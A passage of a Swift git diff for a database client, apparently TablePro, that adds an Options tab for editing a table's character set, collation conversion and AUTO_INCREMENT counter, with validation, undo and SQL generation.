         return constraintDeletes + constraintHandoffs.drops + constraintHandoffs.ordered + fkDeletes
-            + indexDeletes + indexHandoffs.drops + columnDeletes + columnModifies + columnAdds + pkChanges
-            + indexHandoffs.ordered + fkAdds + constraintAdds + commentChanges
+            + indexDeletes + indexHandoffs.drops + columnDeletes + characterSetChanges + columnModifies + columnAdds
+            + pkChanges + autoIncrementChanges + indexHandoffs.ordered + fkAdds + constraintAdds + commentChanges
     }
 
     /// Orders changes that each give up one name and take another in a single step, a rename or a
@@ -226,7 +234,8 @@ struct SchemaStatementGenerator {
         case .addCheckConstraint(let constraint):
             return (nil, constraint.name)
         case .addColumn, .modifyColumn, .deleteColumn, .deleteIndex, .addForeignKey, .modifyForeignKey,
-             .deleteForeignKey, .modifyPrimaryKey, .deleteCheckConstraint, .modifyTableComment:
+             .deleteForeignKey, .modifyPrimaryKey, .deleteCheckConstraint, .modifyTableComment,
+             .modifyTableCharacterSet, .modifyAutoIncrement:
             return (nil, nil)
         }
     }
@@ -239,7 +248,7 @@ struct SchemaStatementGenerator {
             return (.deleteCheckConstraint(old), .addCheckConstraint(new))
         case .addColumn, .modifyColumn, .deleteColumn, .addIndex, .deleteIndex, .addForeignKey,
              .modifyForeignKey, .deleteForeignKey, .modifyPrimaryKey, .addCheckConstraint,
-             .deleteCheckConstraint, .modifyTableComment:
+             .deleteCheckConstraint, .modifyTableComment, .modifyTableCharacterSet, .modifyAutoIncrement:
             return nil
         }
     }
@@ -248,8 +257,11 @@ struct SchemaStatementGenerator {
         switch change {
         case .addColumn, .modifyColumn, .deleteColumn, .modifyPrimaryKey:
             return true
+        case .modifyTableCharacterSet(_, let new):
+            return new.convertsColumns
         case .addIndex, .modifyIndex, .deleteIndex, .addForeignKey, .modifyForeignKey, .deleteForeignKey,
-             .addCheckConstraint, .modifyCheckConstraint, .deleteCheckConstraint, .modifyTableComment:
+             .addCheckConstraint, .modifyCheckConstraint, .deleteCheckConstraint, .modifyTableComment,
+             .modifyAutoIncrement:
             return false
         }
     }
@@ -318,6 +330,10 @@ struct SchemaStatementGenerator {
             return generateDeleteCheckConstraint(constraint).map { [$0] } ?? []
         case .modifyTableComment(_, let new):
             return generateTableComment(new).map { [$0] } ?? []
+        case .modifyTableCharacterSet(_, let new):
+            return generateTableCharacterSet(new).map { [$0] } ?? []
+        case .modifyAutoIncrement(_, let new):
+            return generateAutoIncrement(new).map { [$0] } ?? []
         }
     }
 
@@ -477,6 +493,31 @@ struct SchemaStatementGenerator {
         )
     }
 
+    // MARK: - Table Options
+
+    private func generateTableCharacterSet(_ options: TableOptions) -> SchemaStatement? {
+        let change = PluginTableOptionsChange(
+            characterSet: options.characterSet,
+            collation: options.collation,
+            convertsColumns: options.convertsColumns
+        )
+        guard let sql = pluginDriver.tableOptionsStatement(table: tableName, schema: schema, change: change) else {
+            return nil
+        }
+        let description = options.convertsColumns
+            ? "Convert '\(tableName)' to character set \(options.characterSet ?? "")"
+            : "Set default character set of '\(tableName)' to \(options.characterSet ?? "")"
+        return SchemaStatement(sql: sql, description: description, isDestructive: options.convertsColumns)
+    }
+
+    private func generateAutoIncrement(_ value: UInt64) -> SchemaStatement? {
+        let change = PluginTableOptionsChange(autoIncrement: value)
+        guard let sql = pluginDriver.tableOptionsStatement(table: tableName, schema: schema, change: change) else {
+            return nil
+        }
+        return SchemaStatement(sql: sql, description: "Set AUTO_INCREMENT of '\(tableName)' to \(value)", isDestructive: false)
+    }
+
     // MARK: - Primary Key Operations
 
     private func generateModifyPrimaryKey(old: [String], new: [String]) -> [SchemaStatement] {
diff --git a/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift b/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
index 40bb5e371b..c836751365 100644
--- a/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
+++ b/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
@@ -16,7 +16,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     @Published private(set) var pendingChanges: [SchemaChangeIdentifier: SchemaChange] = [:]
     private var changeOrder: [SchemaChangeIdentifier] = []
     @Published private(set) var validationErrors: [SchemaChangeIdentifier: String] = [:]
-    var hasChanges: Bool { !pendingChanges.isEmpty }
+    var hasChanges: Bool { !pendingChanges.isEmpty || holdsInvalidAutoIncrementEntry }
     @Published var reloadVersion: Int = 0
 
     // Current state (loaded from database)
@@ -60,6 +60,12 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
 
     private static var tableCommentActionName: String { String(localized: "Edit Comment") }
 
+    @Published private(set) var tableOptions = TableOptionsDraft(original: nil)
+    // Text in Next Auto Increment that is not a counter. It holds Save and counts as unsaved, so it is never dropped quietly.
+    @Published private(set) var invalidAutoIncrementEntry: String?
+
+    private static var tableOptionsActionName: String { String(localized: "Edit Table Options") }
+
     // MARK: - Undo/Redo Support
 
     /// Owned per manager so its actions cannot outlive the editor. Cmd+Z reaches it through
@@ -126,12 +132,16 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         foreignKeys: [ForeignKeyInfo],
         checkConstraints: [CheckConstraintInfo] = [],
         primaryKey: [String],
-        tableComment: String? = nil
+        tableComment: String? = nil,
+        tableOptions: TableOptions? = nil,
+        autoIncrementConfirmed: Bool = true
     ) {
         guard !isHeldForSave else { return }
         self.tableName = tableName
         self.tableComment = ObjectCommentDraft(original: tableComment)
         tableCommentRunStart = nil
+        self.tableOptions = TableOptionsDraft(original: tableOptions, isAutoIncrementConfirmed: autoIncrementConfirmed)
+        invalidAutoIncrementEntry = nil
 
         self.currentColumns = columns.map { EditableColumnDefinition.from($0) }
 
@@ -432,7 +442,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         case .checkConstraints:
             guard row < workingCheckConstraints.count else { return }
             key = .checkConstraint(workingCheckConstraints[row].id)
-        case .ddl, .parts, .triggers:
+        case .ddl, .parts, .triggers, .options:
             return
         }
         guard pendingChanges[key]?.isDelete == true else { return }
@@ -555,6 +565,45 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
                 format: String(localized: "Primary key references a column that does not exist: %@"), columnName
             )
         }
+
+        validateAutoIncrement()
+        validateConvert()
+    }
+
+    /// A MODIFY restates the loaded type, narrowing a TEXT the convert widened, and a replaced key is converted before it drops.
+    private func validateConvert() {
+        guard case .modifyTableCharacterSet(_, let new)? = pendingChanges[.tableCharacterSet], new.convertsColumns else {
+            return
+        }
+        let restatesColumns = pendingChanges.values.contains { change in
+            switch change {
+            case .modifyColumn, .modifyPrimaryKey: true
+            default: false
+            }
+        }
+        guard restatesColumns else { return }
+        validationErrors[.tableCharacterSet] = String(
+            localized: "Save column and primary key changes before converting existing columns."
+        )
+    }
+
+    /// Against the column as the save leaves it: a widening in the same save keeps a larger counter (MySQL 8.4, MariaDB 11.4).
+    private func validateAutoIncrement() {
+        if holdsInvalidAutoIncrementEntry, let invalidAutoIncrementEntry {
+            validationErrors[.autoIncrement] = invalidAutoIncrementEntry
+            return
+        }
+        guard case .modifyAutoIncrement(_, let value)? = pendingChanges[.autoIncrement] else { return }
+        guard let range = autoIncrementRange else {
+            validationErrors[.autoIncrement] = String(
+                localized: "Next Auto Increment needs a column with AUTO_INCREMENT"
+            )
+            return
+        }
+        guard !range.contains(value) else { return }
+        validationErrors[.autoIncrement] = String(
+            format: String(localized: "Next Auto Increment must be between 1 and %@"), String(range.upperBound)
+        )
     }
 
     /// Every column the table keeps after this save, whatever state its name and type are in.
@@ -562,6 +611,17 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         workingColumns.filter { !isPendingDeletion(.column($0.id)) }
     }
 
+    var autoIncrementColumn: EditableColumnDefinition? {
+        columnsAfterSave.first { $0.autoIncrement }
+    }
+
+    /// Nil without an AUTO_INCREMENT column; a type the range does not know is held to the counter's width.
+    var autoIncrementRange: ClosedRange<UInt64>? {
+        guard let column = autoIncrementColumn else { return nil }
+        let maximum = AutoIncrementRange.maximum(forColumnType: column.dataType, unsigned: column.unsigned)
+        return 1...(maximum ?? UInt64.max)
+    }
+
     /// Only a column this save adds or changes is held to being complete.
     ///
     /// An untouched column is the database's own, and a typeless SQLite column or an empty MongoDB
@@ -694,6 +754,10 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         guard !isHeldForSave else { return }
         tableComment = ObjectCommentDraft(original: tableComment.original)
         tableCommentRunStart = nil
+        tableOptions = TableOptionsDraft(
+            original: tableOptions.original, isAutoIncrementConfirmed: tableOptions.isAutoIncrementConfirmed
+        )
+        invalidAutoIncrementEntry = nil
         pendingChanges.removeAll()
         changeOrder.removeAll()
         validationErrors.removeAll()
@@ -731,6 +795,20 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         for case .modifyTableComment(_, let savedComment) in snapshot.changes {
             tableComment = ObjectCommentDraft(original: savedComment)
         }
+        var writtenOptions = tableOptions.original
+        var isAutoIncrementConfirmed = tableOptions.isAutoIncrementConfirmed
+        for change in snapshot.changes {
+            switch change {
+            case .modifyTableCharacterSet(_, let saved):
+                writtenOptions = writtenOptions?.adoptingCharacterSet(of: saved)
+            case .modifyAutoIncrement:
+                // Left to the re-read: the server silently raises a value below the next free one.
+                isAutoIncrementConfirmed = false
+            default:
+                continue
+            }
+        }
+        tableOptions = TableOptionsDraft(original: writtenOptions, isAutoIncrementConfirmed: isAutoIncrementConfirmed)
         discardChanges()
         return true
     }
@@ -791,6 +869,55 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         restageTableComment()
     }
 
+    // MARK: - Table Options
+
+    /// One whole-value write, so a collation never resolves against a stale character set.
+    func stageTableOptions(_ options: TableOptions) {
+        guard !isHeldForSave, let previous = tableOptions.current, options != previous else { return }
+        // An unconfirmed baseline may be a counter the server already moved past.
+        guard tableOptions.isAutoIncrementConfirmed || options.autoIncrement == previous.autoIncrement else { return }
+        registerUndo(Self.tableOptionsActionName) { target in
+            target.applySchemaUndo(.tableOptionsEdit(old: previous, new: options))
+        }
+        tableOptions.current = options
+        restageTableOptions()
+        workingCopyDidChange()
+    }
+
+    // The field goes with the last AUTO_INCREMENT column, and so does what was typed in it.
+    private var holdsInvalidAutoIncrementEntry: Bool {
+        invalidAutoIncrementEntry != nil && autoIncrementRange != nil
+    }
+
+    func noteAutoIncrementEntry(invalid message: String?) {
+        guard !isHeldForSave, invalidAutoIncrementEntry != message else { return }
+        invalidAutoIncrementEntry = message
+        workingCopyDidChange()
+    }
+
+    private func restageTableOptions() {
+        restage(.tableCharacterSet, as: tableOptions.characterSetChange)
+        restage(.autoIncrement, as: tableOptions.autoIncrementChange)
+    }
+
+    private func restage(_ key: SchemaChangeIdentifier, as change: SchemaChange?) {
+        if let change {
+            pendingChanges[key] = change
+            trackChangeKey(key)
+        } else {
+            pendingChanges.removeValue(forKey: key)
+            untrackChangeKey(key)
+        }
+    }
+
+    private func applyTableOptionsUndo(old: TableOptions, new: TableOptions) {
+        registerUndo(Self.tableOptionsActionName) { target in
+            target.applySchemaUndo(.tableOptionsEdit(old: new, new: old))
+        }
+        tableOptions.current = old
+        restageTableOptions()
+    }
+
     private func applySchemaUndo(_ action: SchemaUndoAction) {
         switch action {
         case .columnEdit(let id, let old, let new):
@@ -821,6 +948,8 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
             applyPrimaryKeyChangeUndo(old: old)
         case .tableCommentEdit(let old, let new):
             applyTableCommentUndo(old: old, new: new)
+        case .tableOptionsEdit(let old, let new):
+            applyTableOptionsUndo(old: old, new: new)
         }
 
         workingCopyDidChange()
@@ -926,7 +1055,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
             return rowState(at: row, using: Self.foreignKeyOperations)
         case .checkConstraints:
             return rowState(at: row, using: Self.checkConstraintOperations)
-        case .ddl, .parts, .triggers:
+        case .ddl, .parts, .triggers, .options:
             return (false, false)
         }
     }
@@ -982,6 +1111,7 @@ enum SchemaUndoAction {
     case primaryKeyChange(old: [String], new: [String])
     /// The field's raw text, so undo restores exactly what was typed.
     case tableCommentEdit(old: String, new: String)
+    case tableOptionsEdit(old: TableOptions, new: TableOptions)
 }
 
 /// The staged edits a save read when it was pressed, and so the only edits it may clear.
diff --git a/apple/TablePro/Models/ERDiagram/ERDiagramStagedOverlay.swift b/apple/TablePro/Models/ERDiagram/ERDiagramStagedOverlay.swift
index 548af7f3af..18f7aa898c 100644
--- a/apple/TablePro/Models/ERDiagram/ERDiagramStagedOverlay.swift
+++ b/apple/TablePro/Models/ERDiagram/ERDiagramStagedOverlay.swift
@@ -148,7 +148,8 @@ extension ERDiagramStagedOverlay.TableEdits {
             case .deleteForeignKey(let foreignKey):
                 foreignKeyEdits[foreignKey.id] = .dropped
             case .addIndex, .modifyIndex, .deleteIndex, .addCheckConstraint, .modifyCheckConstraint,
-                 .deleteCheckConstraint, .modifyPrimaryKey, .modifyTableComment:
+                 .deleteCheckConstraint, .modifyPrimaryKey, .modifyTableComment, .modifyTableCharacterSet,
+                 .modifyAutoIncrement:
                 continue
             }
         }
diff --git a/apple/TablePro/Models/Query/QueryResult.swift b/apple/TablePro/Models/Query/QueryResult.swift
index 0c11550945..4479269937 100644
--- a/apple/TablePro/Models/Query/QueryResult.swift
+++ b/apple/TablePro/Models/Query/QueryResult.swift
@@ -286,6 +286,9 @@ struct ColumnInfo: Identifiable, Hashable {
     /// says nothing about what the column holds. `PluginColumnInfo.classificationTypeName` says why.
     let classificationTypeName: String?
 
+    /// MariaDB's column-level CHECK clause, which a MODIFY drops unless it restates it.
+    let columnCheck: String?
+
     /// What a classifier reads. Every display reads `dataType`, and these differ on PostgreSQL:
     /// `status` is shown and `ENUM` is classified, `posint` is shown and `INTEGER` is classified.
     var typeNameForClassification: String { classificationTypeName ?? dataType }
@@ -309,7 +312,8 @@ struct ColumnInfo: Identifiable, Hashable {
         ddlDefault: String? = nil,
         ddlGenerationExpression: String? = nil,
         ddlCollation: String? = nil,
-        classificationTypeName: String? = nil
+        classificationTypeName: String? = nil,
+        columnCheck: String? = nil
     ) {
         self.name = name
         self.dataType = dataType
@@ -330,6 +334,7 @@ struct ColumnInfo: Identifiable, Hashable {
         self.ddlGenerationExpression = ddlGenerationExpression
         self.ddlCollation = ddlCollation
         self.classificationTypeName = classificationTypeName
+        self.columnCheck = columnCheck
     }
 }
 
diff --git a/apple/TablePro/Models/Schema/ColumnDefinition.swift b/apple/TablePro/Models/Schema/ColumnDefinition.swift
index 15930c756d..682e1597da 100644
--- a/apple/TablePro/Models/Schema/ColumnDefinition.swift
+++ b/apple/TablePro/Models/Schema/ColumnDefinition.swift
@@ -24,6 +24,8 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
     var extra: String?
     var generationExpression: String?
     var generationKind: GenerationKind?
+    /// Not encoded: it names columns of the table it was read from.
+    var columnCheck: String?
 
     var isPrimaryKey: Bool
 
@@ -83,6 +85,7 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
         extra: String?,
         generationExpression: String? = nil,
         generationKind: GenerationKind? = nil,
+        columnCheck: String? = nil,
         isPrimaryKey: Bool,
         ddlSpelling: String? = nil,
         ddlDefault: String? = nil,
@@ -104,6 +107,7 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
         self.extra = extra
         self.generationExpression = generationExpression
         self.generationKind = generationKind
+        self.columnCheck = columnCheck
         self.isPrimaryKey = isPrimaryKey
         self.catalogType = ddlSpelling.map { CatalogSpelling(value: dataType, spelling: $0) }
         self.catalogDefault = Self.catalogSpelling(value: defaultValue, spelling: ddlDefault)
@@ -198,6 +202,19 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
         defaultValue = nil
     }
 
+    /// One write for the pair, since MySQL refuses a collation from another character set.
+    mutating func setCharacterSet(_ name: String?, collation: String?) {
+        charset = name
+        self.collation = collation
+    }
+
+    /// MySQL refuses `INT CHARACTER SET latin1` with ERROR 1064, so the pair goes in the same edit.
+    mutating func setDataType(_ dataType: String) {
+        self.dataType = dataType
+        guard !ColumnTextType.takesCharacterSet(dataType) else { return }
+        setCharacterSet(nil, collation: nil)
+    }
+
     var hasName: Bool { !name.trimmingCharacters(in: .whitespaces).isEmpty }
 
     var hasDataType: Bool { !dataType.trimmingCharacters(in: .whitespaces).isEmpty }
@@ -246,6 +263,7 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
             extra: columnInfo.extra,
             generationExpression: columnInfo.generationExpression,
             generationKind: columnInfo.generationKind,
+            columnCheck: columnInfo.columnCheck,
             isPrimaryKey: columnInfo.isPrimaryKey,
             ddlSpelling: columnInfo.ddlSpelling,
             ddlDefault: columnInfo.ddlDefault,
@@ -271,7 +289,8 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
             ddlSpelling: ddlSpelling,
             ddlDefault: ddlDefault,
             ddlGenerationExpression: ddlGenerationExpression,
-            ddlCollation: ddlCollation
+            ddlCollation: ddlCollation,
+            columnCheck: columnCheck
         )
     }
 
@@ -294,7 +313,8 @@ struct EditableColumnDefinition: Hashable, Codable, Identifiable {
             ddlDefault: ddlDefault,
             ddlGenerationExpression: ddlGenerationExpression,
             ddlCollation: ddlCollation,
-            classificationTypeName: classificationTypeName
+            classificationTypeName: classificationTypeName,
+            columnCheck: columnCheck
         )
     }
 
diff --git a/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift b/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift
index de4f7b03e9..6f62620de5 100644
--- a/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift
+++ b/apple/TablePro/Models/Schema/CreateTableDraftBuilder.swift
@@ -58,6 +58,7 @@ enum CreateTableDraftBuilder {
         foreignKeys: [EditableForeignKeyDefinition],
         dialect: ForeignKeyDialect,
         includesEngineOptions: Bool,
+        defaults: CreateTableOptionDefaults = CreateTableOptionDefaults(),
         suppliesItsOwnKey: Bool = false
     ) -> CreateTablePlan {
         var issues: [SchemaDraftIssue] = []
@@ -87,15 +88,16 @@ enum CreateTableDraftBuilder {
         }
 
         let primaryKeyColumns = resolvedColumns.filter(\.isPrimaryKey).map(\.name)
+        let characterSet = includesEngineOptions ? defaults.characterSetClause(for: options) : nil
         let definition = PluginCreateTableDefinition(
             tableName: trimmedName,
             columns: resolvedColumns.map { $0.toPlugin() },
             indexes: [],
             foreignKeys: resolvedForeignKeys.map { $0.toPlugin() },
             primaryKeyColumns: primaryKeyColumns,
-            engine: includesEngineOptions ? options.engine : nil,
-            charset: includesEngineOptions ? options.charset : nil,
-            collation: includesEngineOptions ? options.collation : nil,
+            engine: includesEngineOptions ? defaults.engineClause(for: options) : nil,
+            charset: characterSet?.charset,
+            collation: characterSet?.collation,
             ifNotExists: options.ifNotExists
         )
 
diff --git a/apple/TablePro/Models/Schema/CreateTableOptions.swift b/apple/TablePro/Models/Schema/CreateTableOptions.swift
index 1abcbbf284..db47acb110 100644
--- a/apple/TablePro/Models/Schema/CreateTableOptions.swift
+++ b/apple/TablePro/Models/Schema/CreateTableOptions.swift
@@ -4,42 +4,69 @@
 //
 
 import Foundation
+import TableProPluginKit
 
+// Nil engine, charset and collation write no clause, so the table takes what the server and its database give it.
 struct CreateTableOptions: Hashable {
-    var engine: String = "InnoDB"
-    var charset: String = "utf8mb4"
-    var collation: String = "utf8mb4_unicode_ci"
+    var engine: String?
+    var charset: String?
+    var collation: String?
     var ifNotExists: Bool = false
     var comment: String = ""
 
-    static let engines = [
-        "InnoDB", "MyISAM", "MEMORY", "CSV", "ARCHIVE",
-        "BLACKHOLE", "MERGE", "FEDERATED", "NDB"
-    ]
-
-    static let charsets = [
-        "utf8mb4", "utf8mb3", "utf8", "latin1", "ascii",
-        "binary", "utf16", "utf32", "cp1251", "big5",
-        "euckr", "gb2312", "gbk", "sjis"
-    ]
-
-    static let collations: [String: [String]] = [
-        "utf8mb4": [
-            "utf8mb4_unicode_ci", "utf8mb4_general_ci", "utf8mb4_bin",
-            "utf8mb4_0900_ai_ci", "utf8mb4_unicode_520_ci"
-        ],
-        "utf8mb3": ["utf8mb3_unicode_ci", "utf8mb3_general_ci", "utf8mb3_bin"],
-        "utf8": ["utf8_unicode_ci", "utf8_general_ci", "utf8_bin"],
-        "latin1": ["latin1_swedish_ci", "latin1_general_ci", "latin1_bin"],
-        "ascii": ["ascii_general_ci", "ascii_bin"],
-        "binary": ["binary"],
-        "utf16": ["utf16_unicode_ci", "utf16_general_ci", "utf16_bin"],
-        "utf32": ["utf32_unicode_ci", "utf32_general_ci", "utf32_bin"],
-        "cp1251": ["cp1251_general_ci", "cp1251_ukrainian_ci", "cp1251_bin"],
-        "big5": ["big5_chinese_ci", "big5_bin"],
-        "euckr": ["euckr_korean_ci", "euckr_bin"],
-        "gb2312": ["gb2312_chinese_ci", "gb2312_bin"],
-        "gbk": ["gbk_chinese_ci", "gbk_bin"],
-        "sjis": ["sjis_japanese_ci", "sjis_bin"],
-    ]
+    // A character set without a collation takes its default, and one from the previous set is an error (1253).
+    func selectingCharacterSet(_ charset: String?, collation: String?) -> CreateTableOptions {
+        var next = self
+        next.charset = charset
+        next.collation = collation
+        return next
+    }
+
+    // Starts from what a table in the target database takes anyway, which the builder then leaves unwritten.
+    func seeded(with defaults: CreateTableOptionDefaults) -> CreateTableOptions {
+        var next = self
+        if next.charset == nil {
+            next.charset = defaults.characterSet
+            next.collation = defaults.collation
+        }
+        if next.engine == nil {
+            next.engine = defaults.engine
+        }
+        return next
+    }
+}
+
+// What a new table in the target database takes when its statement names nothing: the database's default pair and
+// the server's default engine.
+struct CreateTableOptionDefaults: Hashable {
+    var characterSet: String?
+    var collation: String?
+    var engine: String?
+
+    // The pair is written whole or not at all: COLLATE alone moves the charset, and CHARACTER SET alone resets the
+    // collation to the charset's default.
+    func characterSetClause(for options: CreateTableOptions) -> (charset: String, collation: String?)? {
+        guard let charset = options.charset?.nilIfEmpty else { return nil }
+        let collation = options.collation?.nilIfEmpty
+        if Self.matches(charset, characterSet), Self.matches(collation, self.collation) {
+            return nil
+        }
+        return (charset, collation)
+    }
+
+    func engineClause(for options: CreateTableOptions) -> String? {
+        guard let engine = options.engine?.nilIfEmpty, !Self.matches(engine, self.engine) else { return nil }
+        return engine
+    }
+
+    private static func matches(_ lhs: String?, _ rhs: String?) -> Bool {
+        switch (lhs, rhs) {
+        case (nil, nil):
+            return true
+        case (let lhs?, let rhs?):
+            return lhs.caseInsensitiveCompare(rhs) == .orderedSame
+        default:
+            return false
+        }
+    }
 }
diff --git a/apple/TablePro/Models/Schema/ReadIdentifiedDefinition.swift b/apple/TablePro/Models/Schema/ReadIdentifiedDefinition.swift
index 4de39dde90..418824191d 100644
--- a/apple/TablePro/Models/Schema/ReadIdentifiedDefinition.swift
+++ b/apple/TablePro/Models/Schema/ReadIdentifiedDefinition.swift
@@ -57,7 +57,7 @@ internal extension SchemaChange {
             return .modifyCheckConstraint(old: old.withoutIdentity(), new: new.withoutIdentity())
         case .deleteCheckConstraint(let constraint):
             return .deleteCheckConstraint(constraint.withoutIdentity())
-        case .modifyPrimaryKey, .modifyTableComment:
+        case .modifyPrimaryKey, .modifyTableComment, .modifyTableCharacterSet, .modifyAutoIncrement:
             return self
         }
     }
diff --git a/apple/TablePro/Models/Schema/SchemaChange.swift b/apple/TablePro/Models/Schema/SchemaChange.swift
index 54d87c4918..ef68b9bbd2 100644
--- a/apple/TablePro/Models/Schema/SchemaChange.swift
+++ b/apple/TablePro/Models/Schema/SchemaChange.swift
@@ -27,6 +27,11 @@ enum SchemaChange: Hashable, Equatable {
     /// Nil on either side means no comment.
     case modifyTableComment(old: String?, new: String?)
 
+    /// The default character set and collation, or with `convertsColumns` every text column too.
+    case modifyTableCharacterSet(old: TableOptions, new: TableOptions)
+    /// Old is nil when the table had no AUTO_INCREMENT column when it was read.
+    case modifyAutoIncrement(old: UInt64?, new: UInt64)
+
     var isDelete: Bool {
         switch self {
         case .deleteColumn, .deleteIndex, .deleteForeignKey, .deleteCheckConstraint:
@@ -45,21 +50,39 @@ enum SchemaChange: Hashable, Equatable {
             // Renaming is one statement that touches no rows. Only a changed expression drops and
             // re-adds the constraint, which re-checks the whole table.
             return old.expression != new.expression
+        case .modifyTableCharacterSet(_, let new):
+            // A convert rewrites every text column, can widen TEXT and loses what the new set cannot hold.
+            return new.convertsColumns
         default:
             return false
         }
     }
 
+    // A new character set converts the stored text, and what it cannot hold is lost. A table default is nil.
+    private static func changesCharacterSet(from old: String?, to new: String?) -> Bool {
+        switch (old, new) {
+        case (nil, nil):
+            return false
+        case let (old?, new?):
+            return old.caseInsensitiveCompare(new) != .orderedSame
+        default:
+            return true
+        }
+    }
+
     var requiresDataMigration: Bool {
         switch self {
         case .modifyColumn(let old, let new):
             return old.dataType != new.dataType || (old.isNullable && !new.isNullable)
+                || Self.changesCharacterSet(from: old.charset, to: new.charset)
         case .deleteColumn, .modifyPrimaryKey:
             return true
         case .addCheckConstraint:
             return true
         case .modifyCheckConstraint(let old, let new):
             return old.expression != new.expression
+        case .modifyTableCharacterSet(_, let new):
+            return new.convertsColumns
         default:
             return false
         }
@@ -95,6 +118,13 @@ enum SchemaChange: Hashable, Equatable {
             return "Change primary key from [\(old.joined(separator: ", "))] to [\(new.joined(separator: ", "))]"
         case .modifyTableComment:
             return "Change comment on table"
+        case .modifyTableCharacterSet(_, let new):
+            let target = [new.characterSet, new.collation].compactMap { $0 }.joined(separator: " ")
+            return new.convertsColumns
+                ? "Convert table to \(target)"
+                : "Change default character set of table to \(target)"
+        case .modifyAutoIncrement(_, let new):
+            return "Set AUTO_INCREMENT of table to \(new)"
         }
     }
 }
@@ -106,4 +136,6 @@ enum SchemaChangeIdentifier: Hashable {
     case checkConstraint(UUID)
     case primaryKey
     case tableComment
+    case tableCharacterSet
+    case autoIncrement
 }
diff --git a/apple/TablePro/Models/Schema/StructureTab.swift b/apple/TablePro/Models/Schema/StructureTab.swift
index 53aba1a111..e652c0c8ed 100644
--- a/apple/TablePro/Models/Schema/StructureTab.swift
+++ b/apple/TablePro/Models/Schema/StructureTab.swift
@@ -2,18 +2,16 @@
 //  StructureTab.swift
 //  TablePro
 //
-//  Tab selection for structure view
-//
 
 import Foundation
 
-/// Tab selection for structure view
 enum StructureTab: String, CaseIterable, Hashable {
     case columns
     case indexes
     case foreignKeys
     case checkConstraints
     case triggers
+    case options
     case ddl
     case parts
 
@@ -24,6 +22,7 @@ enum StructureTab: String, CaseIterable, Hashable {
         case .foreignKeys: String(localized: "Foreign Keys")
         case .checkConstraints: String(localized: "Constraints")
         case .triggers: String(localized: "Triggers")
+        case .options: String(localized: "Options")
         case .ddl: "DDL"
         case .parts: "Parts"
         }
diff --git a/apple/TablePro/Models/Schema/TableOptions.swift b/apple/TablePro/Models/Schema/TableOptions.swift
new file mode 100644
index 0000000000..626192dafa
--- /dev/null
+++ b/apple/TablePro/Models/Schema/TableOptions.swift
@@ -0,0 +1,142 @@
+//
+//  TableOptions.swift
+//  TablePro
+//
+
+import Foundation
+
+struct TableOptions: Hashable {
+    var characterSet: String?
+    var collation: String?
+    /// Also rewrites every text column, not only the default later columns take. A read never sets it.
+    var convertsColumns = false
+    /// The value the next row takes, nil when the table has no AUTO_INCREMENT column.
+    var autoIncrement: UInt64?
+
+    /// Without the counter, so a counter edit never changes the staged character set change.
+    var characterSetOnly: TableOptions {
+        TableOptions(characterSet: characterSet, collation: collation, convertsColumns: convertsColumns)
+    }
+
+    func adoptingCharacterSet(of written: TableOptions) -> TableOptions {
+        var copy = self
+        copy.characterSet = written.characterSet
+        copy.collation = written.collation
+        copy.convertsColumns = false
+        return copy
+    }
+}
+
+/// A nil `original` means the read failed or the engine has none, so nothing stages.
+struct TableOptionsDraft: Equatable {
+    let original: TableOptions?
+    var current: TableOptions?
+    /// False from a save that wrote the counter until a read confirms it, since the server may have raised it.
+    let isAutoIncrementConfirmed: Bool
+
+    init(original: TableOptions?, isAutoIncrementConfirmed: Bool = true) {
+        var loaded = original
+        loaded?.convertsColumns = false
+        self.original = loaded
+        self.current = loaded
+        self.isAutoIncrementConfirmed = isAutoIncrementConfirmed
+    }
+
+    var hasChanges: Bool {
+        characterSetChange != nil || autoIncrementChange != nil
+    }
+
+    /// A convert to the table's own character set is still a change: it rewrites every column that differs.
+    var characterSetChange: SchemaChange? {
+        guard let original, let current else { return nil }
+        guard current.convertsColumns
+            || current.characterSet != original.characterSet
+            || current.collation != original.collation else { return nil }
+        return .modifyTableCharacterSet(old: original.characterSetOnly, new: current.characterSetOnly)
+    }
+
+    var autoIncrementChange: SchemaChange? {
+        guard let original, let value = current?.autoIncrement, value != original.autoIncrement else { return nil }
+        return .modifyAutoIncrement(old: original.autoIncrement, new: value)
+    }
+}
+
+struct TableCharacterSet: Hashable, Identifiable {
+    let name: String
+    let defaultCollation: String
+    let collations: [String]
+    let description: String?
+
+    var id: String { name }
+}
+
+/// What the server offers any table. Server-wide, so one read serves every table on the connection.
+struct TableOptionsCatalog: Hashable {
+    let characterSets: [TableCharacterSet]
+    let engines: [String]
+    let defaultEngine: String?
+
+    func characterSet(named name: String) -> TableCharacterSet? {
+        characterSets.first { $0.name.caseInsensitiveCompare(name) == .orderedSame }
+    }
+
+    func collations(for characterSet: String) -> [String] {
+        self.characterSet(named: characterSet)?.collations ?? []
+    }
+
+    func defaultCollation(for characterSet: String) -> String? {
+        self.characterSet(named: characterSet)?.defaultCollation
+    }
+
+    func characterSet(owning collation: String) -> TableCharacterSet? {
+        characterSets.first { candidate in
+            candidate.collations.contains { $0.caseInsensitiveCompare(collation) == .orderedSame }
+        }
+    }
+}
+
+enum ColumnTextType {
+    /// National spellings are left out: MySQL 8.4 refuses `NVARCHAR(10) CHARACTER SET latin1` with ERROR 1064.
+    static func takesCharacterSet(_ dataType: String) -> Bool {
+        var words = baseWords(of: dataType)
